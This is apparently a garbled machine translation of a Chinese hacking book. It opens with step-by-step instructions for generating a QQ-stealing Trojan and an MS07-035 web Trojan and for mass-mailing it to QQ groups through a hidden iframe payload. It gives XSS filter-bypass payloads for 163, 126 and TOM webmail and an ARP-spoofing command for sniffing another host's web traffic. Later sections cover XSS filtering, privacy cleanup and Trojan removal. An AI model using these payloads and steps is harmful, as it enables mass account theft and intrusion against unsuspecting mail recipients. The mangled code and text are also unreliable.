Click “generate Trojan” button, you can get a free kill stolen qq Trojan program. Upload the generated trojans to apply for the space of the site, you can get a Trojan link address.

(2) to make web Trojan

System has no corresponding patch, is the key to the successful execution of the Trojan horse, here an attacker to run a MS07035 holes make web Trojan. Specific steps are as follows:

Step 01 run “guo-hong wei guest latest MS07035 hole net horse generator” tool.

Step 02 click “network horse” button, you can open the horse generated net interface.

Step 3 among them can be checked all the Settings, so generated page wood mark for all the loopholes in the new system, including keyboard overflow, ANI, MS07027 multiple holes, etc. Input in the input box above the Trojan link address just now.

Step 4 in the set has been completed, click the “generate” button, can be in the program directory to generate a web page file called “1. Js”. The suffix “instead. The HTML” and uploaded to the site space, immediately get a web Trojan address, the address assumption for “http://xiaotou.com.cn/muma.html”.

(3) the disguise code QQ mail

The previous test, QQ mail hanging horse code is encrypted, the effect is embedded in QQ receiving reading page a baidu web framework. Now want to conceal the framework, and the web page to upload the Trojan addresses, so want to amend the code to code: `<IMGsrc = “javascript: document. Write (‘ <Iframe%20src=http://xiaotou.com.cn/muma.html%20width=0%20height=0%3E <iframe > % 3 e ’)” >`

Specific changes when using the web address. But now this Trojan is clear, if not encrypt would be QQ mail filter, so need to transfer this code to encrypt code, in order to avoid the QQ email security filtering mechanism, really only need to change the above test code, using network address of baidu site, the length and width of web page frame can be changed to “0”. The modified code is as follows.

```
<
imgsrc=javascript:document.write('<Iframe%20src=http://xiaotou.com.cn/muma.html%20
')>
```

(4) the packet transmission

Now can be directly send QQ E-mail, direct against the specified the QQ number, but the best way is direct E-mail group, an attack a few hundred people, even more. In QQ email to write the page, select the “QQ group mail” TAB of the page, in the group of email writing page of “QQ group” select one to attack group, and then press the same method above contains a Trojan code written in the mail.

Finally click “send” button to send group email. When a group of QQ users after receive the email, open is shown as a blank, or only a few simple characters, but the Trojan download page is already open in the background and automatically run a Trojan. So that the visitor’s QQ number will soon be stolen.

8.4.2 domestic mainstream mailbox cross-site vulnerabilities

Don’t just QQ mailbox existed cross-site vulnerabilities, various domestic mainstream mailbox, such as 163, sohu, sina, 126 commonly used E-mail all existed cross-site vulnerabilities. With the continuous development of cross-site technology, new cross-site vulnerabilities have been found.

1. The Tab to bypass filtering: 163 mailbox cross-site test

163 mailbox cross-site vulnerabilities, it is need to must be transformed, cross-site code filtering was able to escape. In 163 mailbox for cross-site operation steps are as follows:

Steps 01 163 free email login, fill in the “recipient” column are email address, subject to fill in, click on [all] button in the editor window below on all items, click on the “edit the source code” button from the function bar, you can enter a state of HTML code, enter the following test code in it.

```
< imgsrc = javascript: window. The open ( ' http://www.baidu.com ' ) > /
```

“Tip”

free ebooks ==> www.ebook777.com

With a space in the code above, these Spaces are produced using the Tab key, can be the key characters separated by javascript divisions to avoid mail filtering mechanism.

Step 02 in the input is completed, click the “send” button, you can send mail. When a user receiving and checking email, web page window will automatically pop up baidu.

2. Coding conversion escape filtering: 126 mailbox cross-site test

163 mailbox cross-site vulnerabilities, also need to cross site code conversion, filtering was able to escape.

In 126 mailbox for cross-site operation steps are as follows:

Steps 01 126 free email login, fill in the “recipient” column are email address, subject to fill in, click on [all] button in the editor window below on all items, click on the “edit the source code” button from the function bar, you can enter a state of HTML code, enter the following test code in it.

```
< imgsrc=javascript:document.write('<iframe%20src=http://www.baidu.com % 20 width = 470% 20 height = 530% 3 e & # x3c/iframe % 3 e ' ) >
```

Step 02 write is completed, click the “send” button to send mail to send after the success, when the receiver receive the mail and view, can see the test result, embedded in the baidu page in the page.

TOM mailbox with 126 mail is the same, use the same code can be cross-site attack, the concrete operation method here is no longer here.

The fifth chapter to prevent cross-site scripting attacks

Some Chinese BBS is cross-site scripting vulnerabilities, also a lot of such examples abroad, for example, Google has seen. This is because the cross-site attack is easy to construct, and very hidden, not easy to be checked. Related against cross-site attack code below is analyzed, and the corresponding method to filter the code is given.

1. Filter “<” and “>” tag

Through the introduction of the above you can see, we first have to filter is submitted by the user variables in < and >, so that users can't not according to its will generate HTML tags. Because cross-site scripting attacks the most direct method, there is complete control of a HTML tags, such as input “< script > alert (” cross-site attack”) < / script > “such statements.

To prevent this type of code written to the website, the most simple filtering method is to convert “<” and “>” tag, thus truncation cross-site code of the attacker input. The corresponding filter code is as follows:

The replace (STR, “<”, “& # x3C;”)

The replace (STR, “>”, “& # x3E;”)

2. The HTML tag attributes filtering

The above two sentences code can filter out the “<” and “>” tag, an attacker can't produce your own HTML tags. However, this is not to say that we can rest easy, the attacker is likely to use existing properties, such as an attacker can be inserted into the image feature, amend the picture path attribute to a Script code. Attacker insert pictures of cross-site statements, after application of conversion, into the following form.

```
< imgsrc = “javascript: alert (/ cross-site attack /)” width = 100 >
```

Above this code execution, will also realize cross-site invasion, and a lot of HTML tag attributes all support in the form of “javascript: cross-site code”. Optical filter > and < is useless, so users use of the existing HTML tags across station. So there are a lot of web site program is aware of the vulnerability, the attacker input data transformation as follows:

Dimre

Setre=newRegExp

```
re.IgnoreCase=True
```

```
re.Global=True
```

```
re.Pattern="javascript:"
```

```
Str=re.replace(Str,"javascript:")
```

```
re.Pattern="jscript:"
```

```
Str=re.replace(Str,"jscript:")
```

```
re.Pattern="vbscript:"
```

```
Str=re.replace(Str,"vbscript:")
```

```
setre=nothing
```

Because a malicious user is using a javascript such attributes, so we don't exist in good control of user input javascript: and vbscript: such content. In this section of the filter code using a large amount of the replace function replacement "javascript script" attribute of the user input characters, once the user input statement contains a "javascript", "jscript" or "script", etc., will be replaced with blank.

(3) filter special characters: &, enter and Spaces

Only filter "javascript", "jscript" or "vbscript" these keywords or not insurance, if the user submits the form like javascript code, and transform part of the code or simply completely transform can evade detection attack again, the attacker can always find some way to bypass, therefore, to pay special attention to the user submits the & # character.

HTML attribute values can support in the form of "& # ASCii" said, as the previous cross-site code can be replaced with the following code.


```
<imgsrc = "javascript & # 116 & # 58 alert (/ cross-site attack /)" width = 100 >
```

After conversion code can break through filters, continue cross-site attack. Hence, a program with a sense of security, and will continue to make up for this hole filter, using the “replace (STR,” & “,” “& # x26;”) “code” & “operator to replace into” & # x26;” Behind, so the statement is all deformation failure. But an attacker could use another way to bypass the filter, because filter keyword leak a lot. The attacker may construct a “<imgsrc =” javascript: alert (/ cross-site attack /) “width = 100 >” attack code.

Here, the “javascript” separated by a space, accurately, the space is created with the Tab key, this key word “javascript” will be broken up. The filter code fails again, the same can be cross-site attack. So many programmers began to consider the Tab space filter, to prevent such a cross-site attack.

(4) HTML attributes cross-site thoroughly

If an attacker to write the code to the web site does not contain any mentioned above could be programmer filtering characters, it can still use procedural defects to attack, so can't happy too early. Because an attacker can use when it comes to in front of the attributes and event mechanism, construct execution Script code. Such as “<imgsrc =” # “onerror = alert (/ cross-site attack /) >” a picture marking code, can see the results after executing the HTML code is Script code was carried out.

Code is to use the event classes XSS onerror cross-site attack, for example, although many programs now designers on the site for the filtration of this event, once the program is found that the keyword “onerror”, will transform filtering. However, the attacker can use the property of the various tectonic cross-site attack, not only the onerror event a, therefore, it is available.

Such as “<imgsrc =” # “style =” Xss: expression (alert (/ cross-site attack /)); “>” the code, such event attributes is also can achieve cross-site attack. Can note that, in “SRC =” # “and” there is a space between the “style”, that is to say, between attributes need to be separated by a space, so the programmer might be in space filtering, in case of such an attack. But after filtering for space, can also be an attacker breakthrough. An attacker might construct “<imgsrc =” # “/ * * / onerror = alert (/ cross-site attack/width = 100 >” code.

This code is to use a scripting language rules of the hole, in the comments in the script language, can be represented as a blank, so the commented code “/ * * /” indirect achieve

the original space effect, making the statement to continue.

free ebooks ==> www.ebook777.com

Above these attacks for unauthorized users their own labels, user input data and program code obfuscation created. So to ensure the safety of the procedure of the way is to restrict the user to enter the space, let users within a safe space activities. In fact, as long as the filter “<” and “>” tag, you can put the user’s input in the output in double quotes ”” ””, in case the user cross license tag.

In general, to prevent cross site scripting attacks, users need to switch off the < > characters, let the attacker can’t set up its own HTML tags, guard has some HTML tags, again by filtering “javascript” and special characters “&” can prevent the user to change the tag attributes as the script, again through “and space filter, the user can’t cause time mechanism and other properties of reconstruction, limit the user’s input in a string.

As long as do the above, believe that will be able to avoid cross-site scripting attacks.

The sixth chapter expert class (common problems and solutions)

It seems 1: how to test a specific site cross-site attack vulnerability?

Answer: use the code “< script > alert (‘ XSS) < / script >” to test, is the most common test script system directly if there is a cross-site scripting attack. In general, if the code can be insert and normal execution, that site is cross-site attack vulnerability, an attacker then can construct various code to realize various functions. If it can not be normal insert and perform shows that there is no loopholes cross-site attack.

Inspiration. 2: if an attacker if direct use URL encoding phishing attack by deception, should be how to construct sentences?

Answer: strict, this way of using and XSS relationship is not big, but this way the most simple, so many attackers are used. For example, an attacker can construct the following URL:

6 f [URL=http://www.baidu.com % 2 e % 69% 61% 79% % 79% % 75% 2 e 6 f % d]
http://www.baidu.com [/ URL]

This URL is baidu appear a super link, even watch some users pointing to it with the

mouse or observation source also look not to come out the problems, but when the user to access the jump is an attacker fake page.

The first chapter A little leak without pay attention to

Read the website on the computer, open files, duplicate records, delete the information such as the picture, it is easy to be malicious people steal the data easily, or from the system view to the user's privacy.

9.1.1 users have recently been to which sites

On the Internet, a Cookie is, in fact, the Web server through a browser on your hard drive, used to automatically record the personal information of text files, including users browse the site, retention time, the information such as user name and password. When users open the same page again, IE they can call from those already saved web data, so as to achieve the effect of the quick open web. Cookies while convenient for users to the Internet, but also exposed the user's privacy. In terms of privacy, here to introduce one of the only a little - "browse web pages".

These Cookies files are usually stored in the computer in the C: \ DocumentsandSettings \ username \ Cookies directory, open the folder, you can see save personal information file.

Once these files are ulterior motives of cyber attacks, viruses and trojans communicators use, will cause incalculable harm to a user's system. Therefore, in order to prevent the occurrence of these risks, the user should every once in a while, remove the C: \ DocumentsandSettings \ username \ Cookies in the directory record Cookies.

Although this approach can be temporarily will remove all the Cookies files from hard drive, but as long as the user access to the Internet, these files will be automatically generated. In this way, every time delete these Cookies file, is especially in trouble. In fact, the user can through the IE set to prevent the invasion of Cookies. Specific operation method is as follows:

Step 01 open the IE browser, select "tools" - > "Internet options" menu item, you can open the "Internet options" dialog box. Select "privacy" TAB, click the "advanced" button.

Step 02 at this point, you can open the "senior privacy policy Settings" dialog. In which you can "tip" for each Cookie for operation, also can be set to "reject" operation. In this

way, the computer at the receiving from the server when the Cookie will be warned or banned altogether server and receive access to the cookies.

free ebooks => www.webbook777.com

When users visit the web site, IE browser will automatically save user visited web pages link to the system of “C: \ Doc

UmentsandSettings \ username \ LocalSettings \ History” folder, so users can through the files in the folder to get to know a certain period of time all records on the Internet. In addition, the user to open the IE browser, select [to see] - [browser bar] - [History] menu item, you can display in the top left of the browser window to access the History.

Although the history is convenient for the user to see Internet records, but also brought some people with ulterior motives. In order to avoid users online privacy leaks, the user must be in front of the exit system to clear the history that access web pages. Clear History method has two kinds: one kind is clear in the “Internet options” dialog box, the other is a direct access to the History folder for clearance. Here in the “Internet options” dialog box to remove web history method.

Step 01 to completely clear historical record, may I open the IE browser, select “tools” - > “Internet options” menu item, you can open the “Internet options” dialog box. Under the “regular” TAB click on the “historical records” area of the “clear history” button.

Step 02 tip in the pop-up dialog box click 【 is 】 button, can will clear all access to the web history.

If you want to remove access to the web page in the History folder History, its concrete operation steps are as follows:

Step 01 open “my computer” window, select “tools” - > “folder options” menu item, you can open the “folder options” dialog box. Choose “view” TAB, in the “advanced Settings” list box to select “show all files and folders” check items.

Step 02 click [sure] button to return to the “my computer” window. Enter the disk C under “C: \ DocumentsandSettings \ username \ LocalSettings \ History” folder, will be included in the folder all folders can be deleted.

When a user will they may leak privacy after deleting Cookies and history of thought so that you can fine, rest easy. In fact, it was also a file on it secret, it is the index. Dat file.

Index. Dat file is a hidden, it records the browser to access a web site, access the information such as time, essentially Cookies information file, it is the IE temporary files are available. Even if the user network records been cleared from the browser, the file is still there.

The user to view the file information, can use the index. Dat file viewer to see. Download and install the index. Dat file viewer, after running the software, will be automatically included in the list of the window shows the file information. Can see this file contains many users browse the web record, has not been completely removed. You can use the “weapon” tool “find” function to find the file on your computer, switch to the administrator to delete it.

9.1.2 recently read what files

If hackers use system leak into the user’s computer, can be found in record of computer use kept privacy information of users. For example, “I recently document” in the record, recently created or modified files, the application software opened documents, audio and video files, compressed files, etc.

1. My document history

To view users edit, recently used file, click the “start” button on the taskbar, of the panel in the pop-up menu items, my latest document 】 【 in its menu can be automatically listed users recently opened documents, including a text file, Word documents, compressed files and images, etc.

The presence of these records not only takes up a hard disk storage space, but also the user’s privacy information leaking out. Therefore, the user should keep clear these records.

Remove my recent document records the specific steps are as follows:

Step 01 in desktop right-click the taskbar margin on the shortcut menu, select “properties” menu item, open the “taskbar and start menu properties” dialog box.

Step 02 select “start menu” TAB, click the “custom” button.

Step 03 open dialog box to customize the start menu [], select "advanced" TAB, click on the "recently used documents" "clear list" of the area of the button, can be in "document" I recently documented deleted.

Step 4, after deleting "clear list" button is grey, not with state. To uncheck the check "list I recently opened documents". Click [sure] button, so that in the "start" - > "my latest document" menu item will not show up in the submenu of the document.

"Tip"

In the Windows xp system, it put a shortcut to the Recent visit to document "C: \ DocumentsandSettings \ username \ Recent, manually delete them also can let my latest document [] records under the menu item is empty.

2. A recent visit, modify, create the file

If you want to know what users recently visited file, users can search in the Windows explorer recently access, modify, create the file. Specific steps are as follows:

Step 01 open "my computer" window, click the "search" button on the toolbar, can show the "search assistant" in the top left window pane. Can choose to find the file type in the panel, such as pictures, documents, or folder, choose "pictures, music or video" option here.

Step 02 at this point, to enter the page. Here at which set the search conditions, selected "images and photos" check item, search image file types.

Step 3, click the "more advanced options" link in the page and click at the bottom of the "when did you change?" Option, this option. Here in the "find" drop-down list, select the "my computer" option, and select the "specified date" radio button, choose "modified time" option from the drop-down list, set the scope of modification date, such as the 2010-7-2 to 2010-7-2.

Step 4 click "search" button, you can search users visit image files in the specified date.

In addition to the use of the resource manager in the "search" function to search the user

access, modify, recently created files, you can also use the professional software, such as local search tool XYplorer, it can specify multiple conditions.

XYplorer is a support tabbed browsing Windows explorer, is a powerful file search function, various preview function, can be highly customized interface, and a series of ways to make your computer automatic processing of periodic task effectively. Search for files using XYplorer software method is as follows:

Steps to download and run 01 XYplorer software, enter the main window.

Step 02 click [the Find] button on the toolbar, the software can be the default option in the lower part of the panels FindFiles] [TAB. Under “Name&Location” label “Name:” (Name) in the text box input to find the file extensions, such as “. JPG “, the “Mode” (type) the drop-down list, select a type, here, leave the default Settings, and then the “Location:” drop-down list to the position of the search.

Step 3 select the “Date” label, in which the setup file to search to create or modify Date. Click [FindNow] in the top right corner of the panel button, can show the search results.

3. Through access application software to check the history records

Because of the computer in various documents need to use special tools to open, such as MicrosoftWord software can open. Doc document, light see can open. JPG format image files, WinRAR compression software can open the compressed files, etc. These applications when open the corresponding files, records of these files will be saved. Therefore, even if the user will be confidential files deleted, through these applications will still be able to find the trace files.

History to view these files, can open the corresponding application software, for example, open the “light” software, in the main window, select the [file] - > [recently open file] menu items, can show was in its menu to open the picture file storage location. Similarly, in MicrosoftExcel software, select the “files” TAB, under which click “recently used file” button, can show recently opened the Excel file.


These operations are likely to betray users, reveal that the user’s privacy. And the operation is very simple, every computer user can easily through they steal your important information.

9.1.3 review last copy record

free ebooks ==> www.ebook777.com

Users in the process of using the computer, for the convenience of operation, often copying a string of words, or for the safety of password to copy and paste operations.

Due to copy information temporarily stored in the clipboard, somehow can view the information stored in the clipboard, so the operation can cause leakage of information.

Users copy the text contains the password, for example, “user name: linlin, password: 76390255”, steal the user information of attackers want to view users copy information, often by the following method to check. In the “run” dialog box running “Clipbrd” command, you can open the clipboard viewer window  , in which information from the clipboard.

9.1.4 temporary directory backup secretly

In order to prevent accident or sudden events lead to power application software is closed and the loss of data, the application software are intelligently provides automatic backup and restore function. Such as, using MicrosoftWord software to open a Word document, when in edit documents, suddenly loses power, at this point, the application software can be generated in the files in the current directory backup files with hidden attribute, the backup files need to users in the “folder options” dialog box to select “show all files and folders” check items, to display properly, seen by the user. File name extension. TMP is MicrosoftWord software automatic backup of the files, but the system default is not show hidden attribute file, make it not easy to find.

If the user wants to check the backup the contents of the file, just change the extension for the extension of Word document. Doc, and then double-click to open the file, you can view its contents.

In fact, besides MicrosoftWord application software, most applications will create a backup files in the current directory. These temporary backup files stored in the system of a proprietary directory, usually C: \ DocumentsandSettings \ username \ ApplicationData folder. This folder to store the data of application software, including the necessary installation file with automatic recovery.

The temporary directory to store the system installed in some application software installation files and the automatic recovery, in the system there are two other temporary directory to store the IE temporary files, respectively is C: \ DocumentsandSettings \

username \ LocalSettings \ Temp and C: \ DocumentsandSettings \ username \ LocalSettings \ TemporaryInternetFiles.

Continue to open the folder C: \ DocumentsandSettings \ username \ ApplicationData \ Microsoft \ Word, Word can be found in the generated file. The extension changed to automatic recovery of the document. Doc, then open the file with Word view its contents.

9.1.5 were not noticed the generated file

Application software will not only in the temporary directory to secretly leave the backup file, it may also reveal that the user account and password, chat, download history, etc., some may even leave information in the registry.

In most application software installation will let the user to set its own function, and then through a configuration file to save the need to record information. The main preserved the related application software startup configuration file need to read the Settings of the parameters, such as when installing a QQ, will generate configuration files to keep the QQ login information or chat records.

When the user number in the computer login QQ, QQ will automatically generate a number in the installation directory for the file name of the folder, the folder can QQ in the default installation directory C: \ \ Users \ ProgramFiles \ Tencent \ QQ QQ number. Msg2.0 in this folder. The db file is to save the file with the chat logs, Msg2.0. Db files after unpacking many files, chat records stored in the content. dat file, but the encrypted.

The decryption key is saved in the Matrix. The dat file, the key is the first time chat with friends when randomly generated, later will have been use this key encryption content. dat chat records in the file. If hackers use some special way to crack the content. dat file, you can steal the user's chat logs.

Take a look at thunderbolt download software to download records, fast Thunder software default installation directory C: \ ProgramFiles \ "or \ Profiles C: \ ProgramFiles \ ThunderNetwork \ Thunder \ Profiles can be found in the history6. Dat file. User opens the file can leak which websites, use notepad to open the can see once the browsing history.

9.1.6 remove not clean pictures left

In general, according to the normal way to delete pictures actually still remains in the

user's computer. Because when the user view with a thumbnail images, system will generate a hidden in the current directory thumbs. Db database files

This file will exist in the Windows xp version, it saves the current directory pictures all the thumbnails (also can be said to be cached file), it can facilitate users to preview images, pictures, the more the greater the file may be, this is normal. Due to the system default will not show hidden files, so most people don't pay attention to this file.

If you want to see the hidden thumbs. Db database files, can open "folder options" dialog box, select "view" TAB, and uncheck "hide protected operating system files (recommended)" the check items. Click [sure] button, you can see hidden thumbs in the current directory. The db files.

Under the Windows xp system, if you don't want to in the system to generate the thumbs. The db files, can be in "folder options" dialog, select "view" TAB, select the "files and folders" option under the area of "no cache thumbnail" check items, won't produce this kind of file.

But select the "no cache thumbnail" check items only to the following pictures won't cache, existing thumb. The db file does not automatically deleted, requires the user to manually delete the file. The hidden thumbs. Db file to store what information? Use the thumbnail viewer tool to view the file information contained in images. Download and run the latest version of the "thumbnail viewer" tool, select file - > open file]

【 】 menu items, in the pop-up dialog box. Please select a Thumbs db file 【 find just open directory Thumbs. The db files.

Click "open" button, can be in the "thumbnail viewer tool" open this file. As you can see, the file included in the current directory pictures all the thumbnails. Before users delete pictures are still kept in the file, has not been completely removed.

The second chapter from the information leakage of the network

Network is an open space, it is in life bring convenience for users working at the same time, also threatened the personal privacy of Internet users, such as often receive E-mail for no reason, and these emails can be accompanied by a Trojan or virus, when a user accidentally open it, could be controlled by these trojans, steal the user's information.

9.2.1 hidden all sorts of trojans and viruses

Once the computer to be implanted trojans and viruses, all the operations of the computer will be monitored, steal the user privacy information in a computer is a cinch. In order to avoid the effects, it is recommended that you don't open the untested url and E-mail, because web site and email is the main source for the spread of the Trojan and virus. This section will introduce several common trojans and viruses and their removal method, help the user to know these hidden trojans and viruses, to protect the user's information security.

Remote control software is a latent intrusion hacker software, therefore, it is vividly called the Trojan.

At present the Trojan mainly has the following several features:

Low modify the registry: a Trojan in the unit after the operation, control end port and there will be a passage between the Trojan ports. Control terminals on the control end program can borrow this aisle and the service side of trojans, arbitrary to modify the registry of a service, including delete, or modify the new primary key, keys, key values. With this function, the control side can ban the use of the service side drive, lock the server registry, set the Trojan on the service side of the trigger condition more hidden.

Low file operations: control terminal can be borrowed by the remote control to various operations of the file on the server, such as how to change files, a new file, upload or download files, and wait for the other side of the file copy a operation.

Low to steal passwords: everything in the form of plaintext (in the form of * * * password) or cached passwords in the Cache can be detected trojans. Many trojans also provides a keystroke logging, it will record the service side each keyboard action, any input from the keyboard character were recorded, so once a Trojan invasion, the password will be easily stolen.

Low video monitoring: open the other side of the video camera, remote view camera to capture images, and video surveillance in public places without area.

Low screen monitoring: to see the other side of the computer screen, the other the whole process of computer operation, such as the computer, edit a document, chat, etc., the attacker can be seen.

Low remote terminal: the operating system's command prompt, convenient use instruction computer operation, such as new users of the system, check the network status, etc.

Common trojans and viruses are the bulls trojans, network thief trojans, ice Trojan, dove Trojan viruses, panda, AV terminator and shares a thief viruses, etc. Here introduce the ice Trojan, AV terminator and shares a thief viruses and remove method.

1. The “ice age” Trojan horse

“Ice age” is treated as an BackDoor Trojan horse malware, is actually a small server program (installed in the invasion of the machine), the small server program function is very powerful, by the client (installation) in the invaders machine various commands to control the machine from the server, and can easily get a server machine all kinds of system information.

“Ice age” Trojan server program will normally implanted into an interesting game, in an application or disguised as a picture, camouflage is very clever, let a person hard to distinguish. When a user accidentally run them or open the picture, will run the trojans. Once the trojans in the computer, will be its control.

“Ice age” Trojan mainly has the following several features:

Low remote file operations: create, delete, upload, download, copy the file or directory, file compression, fast browsing text files, remote open the file (including in normal, maximize, minimize, and four ways to open the hidden) multiple file operations and other functions.

Low record various password information: including boot password, password screen saver password, all kinds of Shared resources and the vast majority of the password information appeared in the dialog. Ice Trojan above 2.0 version also provides a keystroke logging.

Low: send information in four kinds of commonly used ICONS to accused of sending short message.

Low point to point communication: in online chat rooms and charged.

Low limit system function: including remote shutdown, remote restart your computer, lock, lock mouse hotkey and multiple functions such as locking the registry.

Change the screen at the same time, a low automatic tracking the target monitoring the all keyboard and mouse operation will be reflected in the accused of the screen, this function is suitable for the local area network users.

Low information acquisition system, including computer name, registered company, the path of the current user, system, and operating system version, the display resolution, physical and logical disk information system data.

Low registry operation: including the primary key of the browse, add or delete, copy, rename, and to all the registry keys, speaking, reading and writing operation function.

“Ice age” Trojan after running in the computer, in the C: \ Windows \ system directory will automatically generate Kernel32. Exe and Sysexplr. The two exe files. The server-side programs for G - server. Exe, the client program for G - client. Exe, connection port 7626 by default. After each start the computer, Kernel32. Exe is automatically loaded and running, and Sysexplr. Exe files automatically, and *. TXT file associations, even delete Kernel32. Exe, but as long as the operation *. TXT file, Sysexplr. Exe, and will be activated again in turn generate Kernel32. Exe. For killing the Trojan can adopt the following method to operate.

First of all, delete C: \ Windows \ system directory Kernel32. Exe and Sysexplr. Exe file. For “ice Trojan” after the operation, often in HKEY_LOCAL_MACHINE registry/software/Microsoft/Windows/CurrentVersion \ Run to create the key value C: / Windows/system/Kernel32. Exe, therefore, also requires the user to delete the key values. Unfold the HKEY_LOCAL_MACHINE registry/software/Microsoft/Windows/CurrentVersion/Runservices item, delete key value C: / Windows/system/Kernel32. Exe.

Then HKEY_CLASSES_ROOT registry/txtfile/shell/open/key values under the command C: / Windows/system/Sysexplr. Exe % 1 is modified to C: / Windows notepad. Exe % 1, you can restore TXT file association function. Finally, the anti-virus software on the unit to upgrade to the latest version of the entire system to conduct a comprehensive antivirus.

2. “AV terminator” virus

“AV terminator” “AV” in the name is “anti-virus” (Anti - Virus get), it is a kind of counter antivirus software, to damage the system security model, embedded Trojan Virus downloader, refers to a group of have the following destructive viruses, trojans and worms. “AV terminator” virus mainly through U disk, mobile hard disk automatically

broadcast transmission function, it is the original source through a large number of session hijacking network, by exploiting loopholes website to download.

free ebooks => www.webbook777.com

After running in the unit, when the virus will copy the virus in local disk and mobile disk file and autorun inf file, when a user double-click the drive will activate the virus, even reshaping system also can't clear the virus completely.

Computer infected with this virus, often appear the following several kinds of common phenomenon:

Can't normal show hidden files, the purpose is to better hide themselves without being seen.

Disable Windows automatic updates and Windows firewall, this Trojan downloader at work, there will be no any prompt window pop up.

Kidnapping security software, poisoning after will find that almost all the antivirus software, system management tools, anti-spyware software can't normal boot. Even if manually delete the program, the next time you start the software, will be an error.

Low on the local hard disk, U disk or mobile hard disk autorun. Inf and the corresponding program files, and then spread through the automatic playback function. Many users formatting system partition after reshaping system, when access to other disk, the system will immediately poisoning again.

Low damage system security model, the user can't start the system to a safe mode for maintenance and repair.

When the "AV terminator" virus in computer, the user can use the "AV terminator" killing tool for killing. Specific steps are as follows:

Steps 01 in normal working computer (not "AV terminator" computer virus) download "AV terminator" killing tools, and prohibit automatic playback function, avoid inserted U disk and mobile hard disk virus infection.

Click "start" button, step 02 in the pop-up panels, select "run" menu item on the "run" input "gpedit.msc" dialog box, you can open the group policy window 】 . The left side of

the window, in turn, a “computer configuration” - > “management template” - > “system” option, on the right side of the window, select “shut down automatically play” option and right-click on it, and on the shortcut menu, select “properties” menu item.

Step 3 open dialog box, shut down automatically broadcast properties 】 【 in the “disabled” radio button is selected, click the [sure] button.

Step 4 will “AV terminator” killing tools from work normal computer copy to poisoning in the computer, and run the software. In the main window click on the button, disable automatic broadcast 】 【 prohibit automatic playback function.

Step 5 click “start scan 】 button, can on computer virus in the killing, repair the damaged system configuration. Immediately after the killing, not to restart the computer, the first will be installed in the computer antivirus software upgrade to the latest version of the virus, and do a full scan, killing “AV terminator” download other viruses, and then restart the computer.

3. “stock thief” virus

“Thief” shares is mainly to steal user account and password for the purpose, it will record the user operation information, the account password information sent to the specified email address, it’s all in the user not informed of the situation. At present, the main for Banks, online games, im Trojan virus poses a serious threat to network security has. To remove the virus, can use “first aid kit - jinshan jinshan drug gangsters chicken detector system” tools for killing.

Specific steps are as follows:

Step 01 download “first aid kit - jinshan jinshan drug gangsters chicken detector system” tools, double click the icon, you can open the “welcome to use the system setup wizard kits” dialog.

Step 02 click “next” button, then the pop-up dialog box, select the target location 】 【 in setting system of the installation position of first aid kit.

Step 3 click “next” button, pop-up dialog box select additional task 】 【 . If you want to install the kingsoft network shield “software, can be selected one of the” golden hill network shield “check; If it is created on the desktop icon and quick launch icon, can

select the “create a desktop icon” and “create a quick start icon” check items.

free ebooks ==> www.ebook777.com

Step 4 click “next” button to pop up “ready to install” dialog box.

Step 5 click “install” button to open the “installation” dialog box, in which can be set up according to the user install software. After the completion of the preliminary installation, can pop up [information] dialog box.

Step 6 read [information] the contents of the dialog box, click the “next” button, can pop up the complete system first-aid kit installation wizard dialog.

Step 7 click “finish” button, can pop-up window jinshan system first aid kit - 315 special edition 【 】, and automatically to the detection system.

Steps, 08 in the test has been completed, can be in the jinshan system first aid kit - 315 special edition window shows “test report” and “diagnosis”. Prompt the user of system risks exist in the add-in, the computer may be a chicken.

Step 09 click 【 detailed > > 】 button, can check test result in detail, which lists the startup of the risks.

Step 10 to eliminate the risks of startup, can select the check box in front of the project, click the button, immediately remove 【 】 can be killing. At this point, you can pop up [message] dialog box. Click 【 is 】 button, restart the computer, can complete the killing of the virus.

Trojans and viruses to unsuspecting on into the computer, to steal the user’s accounts, passwords and other personal information. Therefore, also guard against these invisible “killer”, in order to prevent information leakage. In the invasion of social engineering, the Trojan horse is not limited to the traditional hacker attacks, but are diversified. Malicious people may be in the computers of the company accounting department with trojans, for personal use, in order to achieve even the purpose of commercial espionage.

9.2.2 sniffing secret from the packet

For network administrators, sniffer is a rare monitor network status of tools, but hackers often use them as a tool for monitoring network attack, to eavesdrop on computer

programs on the network to send and receive data. The sniffer technology developed from traditional form to use ARP cache cheating, and can be “middlemen” of network data transmission, namely filtering network packets between different ports.

Here in the ARP cheating tool — zxarps. Exe, for example, from the perspective of privacy by sniffing intercept the target host web browsing history, namely 80 port of the HTTP protocol packets. Zxarps. Exe program size only a few hundred K, and the need to use in CMD environment. This little tool based on ARP cheat, can be in web site horse, DNS deceit. But before using this tool must install WinpCap driver to run, and normal use.

Using zxarps. Exe to intercept the target host web browsing history steps are as follows:

Zxarps steps 01 downloaded from the Internet. Exe and after good WinpCap driver installation, run at the command prompt zxarps. Exe, can see the help information. The white square in the four information respectively network card, the machine IP address, MAC address and gateway address.

Step 02 in the command prompt type the command “zxarps. Exeidx0 - ip192.168.0.1-192.168.0.12 - port80 - save_hsn. Log”, after the operation, zxarps. Exe can setup the IP address of the scan within the scope of activities of the host, the more packet sniffer, the greater the generated file.

“Tip”

Command “zxarps. Exe - idx0 - ip192.168.0.1-192.168.0.12 port80save_hsn. Log” of the meaning of each parameter are: - idx0 said to use the card index number 0; - ip192.16

8.0.1-192.168.0.12 specified sniffer network IP address range; - port80 said sniffer port 80 transmission of data, namely HTTP protocol service web browsing; - save_hsn. The log says it will sniff to save data to sin. The log file.

Step 3 after a period of time, open the sni. Log text documents, you can see IP packets intercepted records. For 192.168.0.9 from the IP address of the intercept packets can be found that the user is browsing the web address is <http://blackskyer.spaces.live.com/>.

Step 4 in the IE browser’s address bar, type the url, you can open this website, you can see this is a blog site.

Can be seen from the above example, sniffer tools can be used in the transmission of packets from the network to dig out the user's information, reveal the user's privacy. And sniffer program is impossible to be detected, because sniffer program is a kind of passive receiving, belong to the passive triggered, it will only collect data packets, and not send any data, but when it is installed in a normal on the computer in the LAN will produce some of the data flow.

Therefore, in order to prevent hackers from using the sniffer technology capture important information users, the user should take some effective measures against sniffer.

It is difficult to killing spyware 9.2.3

Spyware is a kind of to users unwittingly, in the computer software is installed on the back door, collect user information. It by the movements of the record keystroke and capture e-mails and instant messages can complete the task.

Because spyware can in sensitive information is encrypted before (so that transmits it to capture it, therefore, it is able to bypass firewalls, secure connection and VPN security measures. Users spy software in a computer is not installed, introduce several kinds of below may result in the user accidentally installed in the form of spyware.

1. The software bundle

Software bundle way is to use morer a spyware, it often, and a practical software together, when a user when installing the practical software, spyware silently for automatic installation.

2. Browse the website

